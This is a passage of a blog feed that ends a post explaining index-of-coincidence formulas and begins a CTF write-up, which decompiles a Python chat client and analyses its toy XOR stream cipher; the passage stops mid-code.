&lt;p&gt;So we define the Count of Coincidences \(C(s_1,s_2)\) between two strings as how many columns have the same letter for &lt;em&gt;every&lt;/em&gt; possible alignment.&lt;/p&gt;
&lt;p&gt;It’s more simple than it looks.&lt;/p&gt;
&lt;h3 id="count-for-every-possible-alignment"&gt;Count for Every Possible Alignment&lt;/h3&gt;
&lt;p&gt;Pick the first &lt;code&gt;e&lt;/code&gt; of the first string. It will have a coincidence with every possible &lt;code&gt;e&lt;/code&gt; in the second string.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvZV9jb2luY2lkZW5jZXMucG5nJyAvPgpDb2luY2lkZW5jZXMgb2YgdGhlIGZpcnN0IGBgZWBgIHdpdGggYWxsIHRoZSBgYGVgYCBvZiB0aGUgc2Vjb25kIHN0cmluZy4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvZV9jb2luY2lkZW5jZXMucG5nJyAvPgpDb2luY2lkZW5jZXMgb2YgdGhlIGZpcnN0IGBgZWBgIHdpdGggYWxsIHRoZSBgYGVgYCBvZiB0aGUgc2Vjb25kIHN0cmluZy4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/index-of-coincidence/e_coincidences.png' /&gt;
Coincidences of the first &lt;code&gt;e&lt;/code&gt; with all the &lt;code&gt;e&lt;/code&gt; of the second string.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are 5 letters &lt;code&gt;e&lt;/code&gt; in the second string, so we will have 5 coincidences.&lt;/p&gt;
&lt;p&gt;Then pick the second &lt;code&gt;e&lt;/code&gt; of the first string and repeat. Another 5 coincidences.&lt;/p&gt;
&lt;p&gt;The first string has 3 letters &lt;code&gt;e&lt;/code&gt; so at the end we will have 3 times 5, 15 coincidences.&lt;/p&gt;
&lt;p&gt;In general for a particular byte we will have \(n_i m_i\) coincidences where \(n_i\) is the count of that byte in the &lt;em&gt;first&lt;/em&gt; plaintext and \(m_i\) in the second.&lt;/p&gt;
&lt;p&gt;For all the possible bytes \(i\), the count of coincidences for all the possible shifts and alignments is:&lt;/p&gt;
$$    C(s_1,s_2) = \sum_{\forall i} n_i m_i \tag{1}\label{Coincs1s2}$$
&lt;h2 id="expected-count"&gt;Expected Count&lt;/h2&gt;
&lt;p&gt;The equation \((\ref{Coincs1s2})\) counts the coincidence between two particular &lt;em&gt;instances&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvZmFtaWxpZXMucG5nJyAvPgpUd28gc2V0cyBvciBmYW1pbGllcyBvZiBzdHJpbmdzIGBTXzFgey5tYXRoamF4fSBhbmQgYFNfMmB7Lm1hdGhqYXh9OyBgc18xYHsubWF0aGpheH0gYW5kIGBzXzJgey5tYXRoamF4fSBhcmUganVzdCB0d28gZXhhbXBsZXMgb2YgdGhvc2UuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvZmFtaWxpZXMucG5nJyAvPgpUd28gc2V0cyBvciBmYW1pbGllcyBvZiBzdHJpbmdzIGBTXzFgey5tYXRoamF4fSBhbmQgYFNfMmB7Lm1hdGhqYXh9OyBgc18xYHsubWF0aGpheH0gYW5kIGBzXzJgey5tYXRoamF4fSBhcmUganVzdCB0d28gZXhhbXBsZXMgb2YgdGhvc2UuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/index-of-coincidence/families.png' /&gt;
Two sets or families of strings \(S_1\) and \(S_2\); \(s_1\) and \(s_2\) are just two examples of those.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Instead of comparing two particular strings we compare two &lt;em&gt;families&lt;/em&gt; of strings where the probability of each symbol \(i\) is \(p_i\) in the first family and \(q_i\) in the second.&lt;/p&gt;
&lt;p&gt;Because \(p_i\) and \(q_i\) are independent, the probability of picking the same letter or symbol \(i\) is \(p_i q_i\).&lt;/p&gt;
&lt;p&gt;Picking one letter or other are mutually exclusive events (disjoin events) so the probability of having &lt;em&gt;any&lt;/em&gt; coincidence is the sum:&lt;/p&gt;
$$    PrC(S_1,S_2) = \sum_{\forall i} p_i q_i \tag{3}\label{PrCoincS1S2}$$
&lt;p&gt;The equation \((\ref{PrCoincS1S2})\) is shown in [Howard], equation (25)&lt;/p&gt;
&lt;p&gt;With \((\ref{PrCoincS1S2})\), the &lt;em&gt;expected count&lt;/em&gt; for two strings of length \(N\) taken from the families \(S_1\) and \(S_2\) is:&lt;/p&gt;
$$    EC(S_1,S_2) = N \sum_{\forall i} p_i q_i \tag{4}\label{ExpCoincS1S2}$$
&lt;p&gt;[Howard], equation (pseudo 2.5)&lt;/p&gt;
&lt;h3 id="expected-coincidences-between-two-random-strings"&gt;Expected Coincidences Between Two Random Strings&lt;/h3&gt;
&lt;p&gt;If we are comparing two &lt;em&gt;uniformly distributed&lt;/em&gt; random strings, all the letters or symbols have the same probability so \(p_i = q_i = \frac{1}{c}\) where \(c\) is the length of the alphabet (256 for bytes, 26 for English letters, …)&lt;/p&gt;
$$
\begin{align*}
    PrC(R)         &amp; = \sum_{\forall i} p_i q_i  \tag{3}\\
                   &amp; = \sum_{\forall i} \frac{1}{c} \frac{1}{c} \\
                   &amp; = c \frac{1}{c} \frac{1}{c}    \\
                   &amp; = \frac{1}{c}   \tag{5}\label{PrCoincR}
\end{align*}
$$
&lt;p&gt;And therefore the &lt;em&gt;expected count&lt;/em&gt; is&lt;/p&gt;
$$    EC(R) = N \sum_{\forall i} p_i q_i = \frac{N}{c} \tag{6}\label{ExpCoincR}$$
&lt;h2 id="cross-index-of-coincidence"&gt;Cross Index of Coincidence&lt;/h2&gt;
&lt;p&gt;Finally, we define the Cross Index of Coincidence, \(IC(s_1,s_2)\) for short, as the ratio between the count of coincidences between two strings (\(s_1\) and \(s_2\)) of the same length \(N\) and the &lt;em&gt;expected&lt;/em&gt; coincidences assuming uniformly distributed random strings.&lt;/p&gt;
&lt;p&gt;In other words is the ratio between equations \((\ref{Coincs1s2})\) and \((\ref{ExpCoincR})\)&lt;/p&gt;
$$    IC(s_1,s_2) = \frac{C(s_1,s_2)}{EC(R)} = \frac{c}{N} \sum_{\forall i} n_i m_i  \tag{7}\label{IdxCoincs1s2}$$
&lt;p&gt;We can also use \(AC(s_1,s_2)\) instead of \(C(s_1,s_2)\) and we will get another variant of \(IC(s_1,s_2)\).&lt;/p&gt;
&lt;h3 id="c-is-not-a-normalization-factor"&gt;\(c\) is Not a Normalization Factor&lt;/h3&gt;
&lt;p&gt;I found in modern literature than the term \(c\) is explained as a normalization factor. Far from being truth.&lt;/p&gt;
&lt;p&gt;In fact, the values that \(IC(s_1,s_2)\) go from 0 to \(cN\).&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;normalized&lt;/em&gt; IC can be obtained from \((\ref{IdxCoincs1s2})\) if we divide it by \(cN\) that it is the same to ask for \(PrC(S_1,S_2)\):&lt;/p&gt;
$$
\begin{align*}
IC_N(s_1,s_2) &amp; = \frac{c}{N} \sum_{\forall i} n_i m_i \frac{1}{cN}    \\
              &amp; = \frac{c}{c} \sum_{\forall i} \frac{n_i}{N} \frac{m_i}{N}  \\
              &amp; = \sum_{\forall i} p_i q_i \\
              &amp; = PrC(S_1,S_2)    \tag{3}
\end{align*}
$$
&lt;h3 id="cross-index-of-coincidence-between-two-families"&gt;Cross Index of Coincidence between Two Families&lt;/h3&gt;
&lt;p&gt;If we calculate the ratio between \((\ref{PrCoincS1S2})\) and \((\ref{PrCoincR})\) we have a way to compare families without needing the length:&lt;/p&gt;
$$ IC(S_1,S_2) = c \sum_{\forall i} p_i q_i \tag{9}\label{IdxCoincS}$$
&lt;h2 id="auto-index-of-coincidences"&gt;Auto Index of Coincidences&lt;/h2&gt;
&lt;p&gt;There is another definition of IC that compares a string with itself.&lt;/p&gt;
&lt;p&gt;It follows a similar counting process: put the string and its copy in two rows, count the coincidences, shift one place and repeat.&lt;/p&gt;
&lt;p&gt;Of course there is a case where both will have a full match. That case is ignored.&lt;/p&gt;
&lt;p&gt;The count of &lt;em&gt;auto&lt;/em&gt; coincidences is:&lt;/p&gt;
$$
    C(s) = \sum_{\forall i} n_i (n_i-1) \tag{10}\label{Coincs}
$$
&lt;p&gt;In term of the probabilities:&lt;/p&gt;
$$    PrC(S) = \sum_{\forall i} p_i (p_i-1)  \tag{11}\label{PrCoincS}$$
&lt;p&gt;Once again, the IC is a ratio between the actual coincidences \(C(s)\) and the expected coincidences \(\frac{N}{c}\):&lt;/p&gt;
$$    IC(s) = \frac{c}{N} \sum_{\forall i} n_i (n_i-1)    \tag{12}\label{IdxCoincs}$$
&lt;p&gt;Or it is the ratio between the probabilities:&lt;/p&gt;
$$ IC(S) = c \sum_{\forall i} p_i (p_i - 1) \tag{13}\label{IdxCoincNormS}$$
&lt;h2 id="final-thoughts"&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;This post took me a lot of time. The topic is not complex and the maths are very simple but it is the amount of several and slightly different definitions that makes hard to read and interpret.&lt;/p&gt;
&lt;p&gt;Counting the coincidences between two strings aligned \(AC(s_1,s_2)\), not aligned \(C(s_1,s_2)\), the probability of having a coincidence \(PrC(S_1,S_2)\), the expected count, the \(IC\), …&lt;/p&gt;
&lt;p&gt;I hope to got it right in this post :D&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/10/04/Index-of-Coincidence.html" rel="alternate" type="text/html" title="Index of Coincidence Explained"/>
    <category term="cryptography" label="cryptography"/>
    <category term="index of coincidence" label="index of coincidence"/>
    <published>2019-10-04T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/10/01/Writeup-EKO2019-Cipherchat.html</id>
    <title>Cipherchat (Crypto writeup - EKO 2019)</title>
    <updated>2019-10-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;We start with a &lt;a href="/assets/writeups/eko2019/bytecode/cipherchat.pcap"&gt;communication&lt;/a&gt; between two machines, encrypted with an unknown algorithm and the challenge is to break it.&lt;/p&gt;
&lt;p&gt;As a &lt;em&gt;hint&lt;/em&gt; we have the code that the client used to talk with the server.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="decompile"&gt;Decompile&lt;/h2&gt;
&lt;p&gt;It is a Python 3 &lt;a href="/assets/writeups/eko2019/bytecode/client.min.pyc"&gt;compiled code&lt;/a&gt; so our first task is to decompile it.&lt;/p&gt;
&lt;p&gt;For this I’m going to use &lt;a href="https://github.com/rocky/python-uncompyle6"&gt;uncompyle6&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;uncompyle6&lt;span class="w"&gt; &lt;/span&gt;--encoding&lt;span class="w"&gt; &lt;/span&gt;utf-8&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;client.min.pyc&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is what we got:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;ۈ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;𢜁&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;ې&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;
&lt;span class="n"&gt;𐬴&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;span class="n"&gt;䈶&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gethostbyname&lt;/span&gt;
&lt;span class="n"&gt;چ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;
&lt;span class="n"&gt;ޠ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;
&lt;span class="n"&gt;𨐜&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;
&lt;span class="n"&gt;𐫛&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;نحي&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;
&lt;span class="n"&gt;𐤭&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;
&lt;span class="n"&gt;𣏲&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;ࡃ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12345&lt;/span&gt;
&lt;span class="n"&gt;珽&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;𐠨&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;𡛓&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;敩&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;𨆂&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;珽&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ۈ&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; looks like a variable where &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;䈶&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is just an alias of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gethostbyname&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClZpbSB0aXA6IGBgOiVzLy94L2dgYCByZXBsYWNlcyB0aGUgbGFzdCBzZWFyY2hlZCBzdHJpbmcgYnkgYGB4YGAuCkNvbWJpbmVkIHdpdGggYGAqYGAgaXQgaXMgdmVyeSB1c2VmdWwgdG8gcmVwbGFjZSBoYXJkLXRvLXdyaXRlIHdvcmRzCmxpa2UgYGDbiGBgLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClZpbSB0aXA6IGBgOiVzLy94L2dgYCByZXBsYWNlcyB0aGUgbGFzdCBzZWFyY2hlZCBzdHJpbmcgYnkgYGB4YGAuCkNvbWJpbmVkIHdpdGggYGAqYGAgaXQgaXMgdmVyeSB1c2VmdWwgdG8gcmVwbGFjZSBoYXJkLXRvLXdyaXRlIHdvcmRzCmxpa2UgYGDbiGBgLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Vim tip: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; replaces the last searched string by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Combined with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it is very useful to replace hard-to-write words like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ۈ&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I did a little of search-and-replace to have better names, I filtered out artificial constructions like using a variable to hold the constant &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and things like that.&lt;/p&gt;
&lt;p&gt;Finally, I tried to rename the variables to have a meaningful name.&lt;/p&gt;
&lt;p&gt;The decompiled code is &lt;a href="/assets/writeups/eko2019/bytecode/client.min.py"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="analysis-of-the-cipher"&gt;Analysis of the Cipher&lt;/h2&gt;
&lt;p&gt;This is the cipher function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encxor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is a &lt;em&gt;stream cipher&lt;/em&gt; where the key stream evolves doing &lt;em&gt;shifts&lt;/em&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_shift&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; starting from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_seed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On particularity is that if the output byte &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 0 or it is equal to the (next) &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; byte, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; byte is ignored and the key stream is moved forward one byte.&lt;/p&gt;
&lt;p&gt;So in the output &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we will never see a 0 or a key byte.&lt;/p&gt;
&lt;p&gt;This is the same function but simplified:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encxor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
